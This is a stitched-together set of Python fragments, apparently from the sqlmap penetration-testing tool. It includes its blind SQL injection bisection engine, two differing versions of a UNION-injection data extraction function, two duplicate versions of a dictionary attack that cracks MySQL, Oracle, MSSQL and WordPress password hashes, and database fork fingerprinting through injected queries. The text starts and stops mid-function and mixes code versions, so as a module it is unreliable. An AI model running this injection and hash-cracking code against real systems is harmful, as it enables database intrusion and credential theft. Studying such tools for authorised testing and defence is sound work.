timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: val = commonPattern[index-1:] index += len(val)-1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl) if val is None or ( lastChar > 0 and index > lastChar ): finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) partialValue += val if showEta: etaProgressUpdate(time.time() - charStart, index) elif conf.verbose in (1, 2): dataToStdout(filterControlChars(val)) if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace(): finalValue = partialValue break except KeyboardInterrupt: abortedFlag = True finally: setFormatterPrependFlag(False) if finalValue is not None: finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER, partialValue)) if conf.verbose in (1, 2) or showEta: dataToStdout("\n") if ( conf.verbose in ( 1, 2 ) and showEta ) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise sqlmapThreadException, "something unexpected happened inside the threads" if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector if not kb.rowXmlMode: injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) kb.unionDuplicates = vector[7] kb.forcePartialUnion = vector[8] query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] else: where = vector[6] query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) incrementCounter(PAYLOAD.TECHNIQUE.UNION) if not kb.rowXmlMode: # Parse the returned page to get the exact UNION-based # SQL injection output def _(regex): return reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \ extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \ if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \ None) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): warnMsg = "automatically patching output having last char trimmed" singleTimeWarnMessage(warnMsg) page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) else: output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page) if output: try: root = xml.etree.ElementTree.fromstring("<root>%s</root>" % output.encode(UNICODE_ENCODING)) retVal = "" for column in kb.dumpColumns: base64 = True for child in root: value = child.attrib.get(column, "").strip() if value and not re.match(r"\A[a-zA-Z0-9+/]+={0,2}\Z", value): base64 = False break try: value.decode("base64") except binascii.Error: base64 = False break if base64: for child in root: child.attrib[column] = child.attrib.get(column, "").decode("base64") or NULL for child in root: row = [] for column in kb.dumpColumns: row.append(child.attrib.get(column, NULL)) retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop) except: pass else: retVal = getUnicode(retVal) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): retVal = htmlunescape(retVal).replace("<br>", "\n") hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) elif not kb.rowXmlMode: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) else: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] return retVal
def dictionaryAttack(attack_dict): suffix_list = [""] custom_wordlist = [""] hash_regexes = [] results = [] resumes = [] user_hash = [] processException = False foundHash = False for (_, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ regex = hashRecognition(hash_) if regex and regex not in hash_regexes: hash_regexes.append(regex) infoMsg = "using hash method '%s'" % __functions__[ regex].func_name logger.info(infoMsg) for hash_regex in hash_regexes: keys = set() attack_info = [] for (user, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue foundHash = True hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if re.match(hash_regex, hash_): item = None if hash_regex not in (HASH.CRYPT_GENERIC, HASH.WORDPRESS): hash_ = hash_.lower() if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC): item = [(user, hash_), {}] elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES): item = [(user, hash_), {'username': user}] elif hash_regex in (HASH.ORACLE, ): item = [(user, hash_), {'salt': hash_[-20:]}] elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW): item = [(user, hash_), {'salt': hash_[6:14]}] elif hash_regex in (HASH.CRYPT_GENERIC, ): item = [(user, hash_), {'salt': hash_[0:2]}] elif hash_regex in (HASH.WORDPRESS, ): if ITOA64.index(hash_[3]) < 32: item = [(user, hash_), { 'salt': hash_[4:12], 'count': 1 << ITOA64.index(hash_[3]), 'prefix': hash_[:12] }] else: warnMsg = "invalid hash '%s'" % hash_ logger.warn(warnMsg) if item and hash_ not in keys: resumed = hashDBRetrieve(hash_) if not resumed: attack_info.append(item) user_hash.append(item[0]) else: infoMsg = "resuming password '%s' for hash '%s'" % ( resumed, hash_) if user and not user.startswith(DUMMY_USER_PREFIX): infoMsg += " for user '%s'" % user logger.info(infoMsg) resumes.append((user, hash_, resumed)) keys.add(hash_) if not attack_info: continue if not kb.wordlists: while not kb.wordlists: # the slowest of all methods hence smaller default dict if hash_regex in (HASH.ORACLE_OLD, HASH.WORDPRESS): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] message = "what dictionary do you want to use?\n" message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[ 0] message += "[2] custom dictionary file\n" message += "[3] file with list of dictionary files" choice = readInput(message, default="1") try: if choice == "2": message = "what's the custom dictionary's location?\n" dictPaths = [readInput(message)] logger.info("using custom dictionary") elif choice == "3": message = "what's the list file location?\n" listPath = readInput(message) checkFile(listPath) dictPaths = getFileItems(listPath) logger.info("using custom list of dictionaries") else: logger.info("using default dictionary") dictPaths = filter(None, dictPaths) for dictPath in dictPaths: checkFile(dictPath) kb.wordlists = dictPaths except Exception, ex: warnMsg = "there was a problem while loading dictionaries" warnMsg += " ('%s')" % getSafeExString(ex) logger.critical(warnMsg) message = "do you want to use common password suffixes? (slow!) [y/N] " test = readInput(message, default="N") if test[0] in ("y", "Y"): suffix_list += COMMON_PASSWORD_SUFFIXES infoMsg = "starting dictionary-based cracking (%s)" % __functions__[ hash_regex].func_name logger.info(infoMsg) for item in attack_info: ((user, _), _) = item if user and not user.startswith(DUMMY_USER_PREFIX): custom_wordlist.append(normalizeUnicode(user)) if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC): for suffix in suffix_list: if not attack_info or processException: break if suffix: clearConsoleLine() infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) retVal = None processes = [] try: if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count( ) singleTimeLogMessage(infoMsg) gc.disable() retVal = _multiprocessing.Queue() count = _multiprocessing.Value( 'i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): p = _multiprocessing.Process( target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist)) processes.append(p) for p in processes: p.daemon = True p.start() while count.value > 0: time.sleep(0.5) else: warnMsg = "multiprocessing hash cracking is currently " warnMsg += "not supported on this platform" singleTimeWarnMessage(warnMsg) retVal = Queue() _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist) except KeyboardInterrupt: print processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warn(warnMsg) for process in processes: try: process.terminate() process.join() except (OSError, AttributeError): pass finally: if _multiprocessing: gc.enable() if retVal: conf.hashDB.beginTransaction() while not retVal.empty(): user, hash_, word = item = retVal.get(block=False) attack_info = filter( lambda _: _[0][0] != user or _[0][1] != hash_, attack_info) hashDBWrite(hash_, word) results.append(item) conf.hashDB.endTransaction() clearConsoleLine() else: for ((user, hash_), kwargs) in attack_info: if processException: break if any(_[0] == user and _[1] == hash_ for _ in results): continue count = 0 found = False for suffix in suffix_list: if found or processException: break if suffix: clearConsoleLine() infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) retVal = None processes = [] try: if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count( ) singleTimeLogMessage(infoMsg) gc.disable() retVal = _multiprocessing.Queue() found_ = _multiprocessing.Value('i', False) count = _multiprocessing.Value( 'i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): p = _multiprocessing.Process( target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist)) processes.append(p) for p in processes: p.daemon = True p.start() while count.value > 0: time.sleep(0.5) found = found_.value != 0 else: warnMsg = "multiprocessing hash cracking is currently " warnMsg += "not supported on this platform" singleTimeWarnMessage(warnMsg) class Value(): pass retVal = Queue() found_ = Value() found_.value = False _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist) found = found_.value except KeyboardInterrupt: print processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warn(warnMsg) for process in processes: try: process.terminate() process.join() except (OSError, AttributeError): pass finally: if _multiprocessing: gc.enable() if retVal: conf.hashDB.beginTransaction() while not retVal.empty(): user, hash_, word = item = retVal.get( block=False) hashDBWrite(hash_, word) results.append(item) conf.hashDB.endTransaction() clearConsoleLine()
def dictionaryAttack(attack_dict): suffix_list = [""] custom_wordlist = [] hash_regexes = [] results = [] resumes = [] processException = False user_hash = [] for (_, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue hash_ = hash_.split()[0] regex = hashRecognition(hash_) if regex and regex not in hash_regexes: hash_regexes.append(regex) infoMsg = "using hash method '%s'" % __functions__[regex].func_name logger.info(infoMsg) for hash_regex in hash_regexes: keys = set() attack_info = [] for (user, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue hash_ = hash_.split()[0] if re.match(hash_regex, hash_): item = None if hash_regex not in (HASH.CRYPT_GENERIC, HASH.WORDPRESS): hash_ = hash_.lower() if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC): item = [(user, hash_), {}] elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES): item = [(user, hash_), {'username': user}] elif hash_regex in (HASH.ORACLE): item = [(user, hash_), {'salt': hash_[-20:]}] elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD): item = [(user, hash_), {'salt': hash_[6:14]}] elif hash_regex in (HASH.CRYPT_GENERIC): item = [(user, hash_), {'salt': hash_[0:2]}] elif hash_regex in (HASH.WORDPRESS): item = [(user, hash_), {'salt': hash_[4:12], 'count': 1<<ITOA64.index(hash_[3]), 'prefix': hash_[:12]}] if item and hash_ not in keys: resumed = hashDBRetrieve(hash_) if not resumed: attack_info.append(item) user_hash.append(item[0]) else: infoMsg = "resuming password '%s' for hash '%s'" % (resumed, hash_) if user and not user.startswith(DUMMY_USER_PREFIX): infoMsg += " for user '%s'" % user logger.info(infoMsg) resumes.append((user, hash_, resumed)) keys.add(hash_) if not attack_info: continue if not kb.wordlists: while not kb.wordlists: # the slowest of all methods hence smaller default dict if hash_regex in (HASH.ORACLE_OLD, HASH.WORDPRESS): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] message = "what dictionary do you want to use?\n" message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[0] message += "[2] custom dictionary file\n" message += "[3] file with list of dictionary files" choice = readInput(message, default="1") try: if choice == "2": message = "what's the custom dictionary's location?\n" dictPaths = [readInput(message)] logger.info("using custom dictionary") elif choice == "3": message = "what's the list file location?\n" listPath = readInput(message) checkFile(listPath) dictPaths = getFileItems(listPath) logger.info("using custom list of dictionaries") else: logger.info("using default dictionary") for dictPath in dictPaths: checkFile(dictPath) kb.wordlists = dictPaths except SqlmapFilePathException, msg: warnMsg = "there was a problem while loading dictionaries" warnMsg += " ('%s')" % msg logger.critical(warnMsg) message = "do you want to use common password suffixes? (slow!) [y/N] " test = readInput(message, default="N") if test[0] in ("y", "Y"): suffix_list += COMMON_PASSWORD_SUFFIXES infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].func_name logger.info(infoMsg) for item in attack_info: ((user, _), _) = item if user and not user.startswith(DUMMY_USER_PREFIX): custom_wordlist.append(normalizeUnicode(user)) if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC): for suffix in suffix_list: if not attack_info or processException: break if suffix: clearConsoleLine() infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) retVal = None processes = [] try: if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count() singleTimeLogMessage(infoMsg) retVal = _multiprocessing.Queue() count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): p = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist)) processes.append(p) for p in processes: p.start() for p in processes: p.join() else: warnMsg = "multiprocessing hash cracking is currently " warnMsg += "not supported on this platform" singleTimeWarnMessage(warnMsg) retVal = Queue() _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist) except KeyboardInterrupt: print processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warn(warnMsg) for process in processes: try: process.terminate() process.join() except OSError: pass finally: if retVal: conf.hashDB.beginTransaction() while not retVal.empty(): user, hash_, word = item = retVal.get(block=False) attack_info = filter(lambda _: _[0][0] != user or _[0][1] != hash_, attack_info) hashDBWrite(hash_, word) results.append(item) conf.hashDB.endTransaction() clearConsoleLine() else: for ((user, hash_), kwargs) in attack_info: if processException: break if any(_[0] == user and _[1] == hash_ for _ in results): continue count = 0 found = False for suffix in suffix_list: if found or processException: break if suffix: clearConsoleLine() infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) retVal = None processes = [] try: if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count() singleTimeLogMessage(infoMsg) retVal = _multiprocessing.Queue() found_ = _multiprocessing.Value('i', False) count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): p = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist)) processes.append(p) for p in processes: p.start() for p in processes: p.join() found = found_.value != 0 else: warnMsg = "multiprocessing hash cracking is currently " warnMsg += "not supported on this platform" singleTimeWarnMessage(warnMsg) class Value(): pass retVal = Queue() found_ = Value() found_.value = False _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist) found = found_.value except KeyboardInterrupt: print processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warn(warnMsg) for process in processes: try: process.terminate() process.join() except OSError: pass finally: if retVal: conf.hashDB.beginTransaction() while not retVal.empty(): user, hash_, word = item = retVal.get(block=False) hashDBWrite(hash_, word) results.append(item) conf.hashDB.endTransaction() clearConsoleLine()
def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector if not kb.jsonAggMode: injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) kb.unionDuplicates = vector[7] kb.forcePartialUnion = vector[8] # Note: introduced columns in 1.4.2.42#dev try: kb.tableFrom = vector[9] kb.unionTemplate = vector[10] except IndexError: pass query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] else: where = vector[6] query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) incrementCounter(PAYLOAD.TECHNIQUE.UNION) if kb.jsonAggMode: if Backend.isDbms(DBMS.MSSQL): output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), page or "") if output: try: retVal = "" fields = re.findall(r'"([^"]+)":', extractRegexResult(r"{(?P<result>[^}]+)}", output)) for row in json.loads(output): retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop) except: pass else: retVal = getUnicode(retVal) elif Backend.isDbms(DBMS.PGSQL): output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), page or "") if output: retVal = output else: output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), page or "") if output: try: retVal = "" for row in json.loads(output): retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop) except: pass else: retVal = getUnicode(retVal) else: # Parse the returned page to get the exact UNION-based # SQL injection output def _(regex): return firstNotNone( extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE) ) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): warnMsg = "automatically patching output having last char trimmed" singleTimeWarnMessage(warnMsg) page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): retVal = htmlUnescape(retVal).replace("<br>", "\n") hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) elif not kb.jsonAggMode: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) elif re.search(r"ORDER BY [^ ]+\Z", expression): debugMsg = "retrying failed SQL query without the ORDER BY clause" singleTimeDebugMessage(debugMsg) expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression) retVal = _oneShotUnionUse(expression, unpack, limited) elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)): debugMsg = "turning off NATIONAL CHARACTER casting" # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1) singleTimeDebugMessage(debugMsg) kb.nchar = False retVal = _oneShotUnionUse(expression, unpack, limited) else: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] return retVal
def getFingerprint(self): fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) if fork is None: if inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'"): fork = FORK.COCKROACHDB elif inject.checkBooleanExpression( "VERSION() LIKE '%Redshift%'" ): # Reference: https://dataedo.com/kb/query/amazon-redshift/check-server-version fork = FORK.REDSHIFT elif inject.checkBooleanExpression( "VERSION() LIKE '%Greenplum%'" ): # Reference: http://www.sqldbpros.com/wordpress/wp-content/uploads/2014/08/what-version-of-greenplum.png fork = FORK.GREENPLUM elif inject.checkBooleanExpression( "VERSION() LIKE '%Yellowbrick%'" ): # Reference: https://www.yellowbrick.com/docs/3.3/ybd_sqlref/version.html fork = FORK.YELLOWBRICK elif inject.checkBooleanExpression( "VERSION() LIKE '%EnterpriseDB%'" ): # Reference: https://www.enterprisedb.com/edb-docs/d/edb-postgres-advanced-server/user-guides/user-guide/11/EDB_Postgres_Advanced_Server_Guide.1.087.html fork = FORK.ENTERPRISEDB elif inject.checkBooleanExpression( "VERSION() LIKE '%YB-%'" ): # Reference: https://github.com/yugabyte/yugabyte-db/issues/2447#issue-499562926 fork = FORK.YUGABYTEDB elif inject.checkBooleanExpression( "AURORA_VERSION() LIKE '%'" ): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ fork = FORK.AURORA else: fork = "" hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.PGSQL if fork: value += " (%s fork)" % fork return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) if fork: value += "\n%sfork fingerprint: %s" % (blank, fork) return value
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ abortedFlag = False showEta = False partialValue = u"" finalValue = None retrievedLength = 0 if payload is None: return 0, None if charsetType is None and conf.charset: asciiTbl = sorted(set(ord(_) for _ in conf.charset)) else: asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API if conf.predictOutput: kb.partRun = getPartRun() elif conf.api: kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression): firstChar = 0 elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 if kb.fileReadMode: firstChar <<= 1 elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if re.search(r"(?i)\b(LENGTH|LEN)\(", expression): lastChar = 0 elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) else: lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) if isinstance(length, basestring) and length.isdigit() or isinstance(length, int): length = int(length) else: length = None if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar if length and length > MAX_BISECTION_LENGTH: length = None showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) or 1 if showEta: progress = ProgressBar(maxValue=length) if timeBasedCompare and conf.threads > 1 and not conf.forceThreads: warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" singleTimeWarnMessage(warnMsg) if numThreads > 1: if not timeBasedCompare or conf.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not showEta and not conf.api: if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) hintlock = threading.Lock() def tryHint(idx): with hintlock: hintValue = kb.hintValue if payload is not None and hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) forgedPayload = agent.extractPayload(payload) forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return hintValue[idx - 1] with hintlock: kb.hintValue = None return None def validateChar(idx, value): """ Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay """ validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result and timeBasedCompare and kb.injection.data[kb.technique].trueCode: result = threadData.lastCode == kb.injection.data[kb.technique].trueCode if not result: warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode) singleTimeWarnMessage(warnMsg) incrementCounter(kb.technique) return result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False if continuousOrder: while len(charTbl) > 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] except IndexError: lastChar = None if 'a' <= lastChar <= 'z': position = 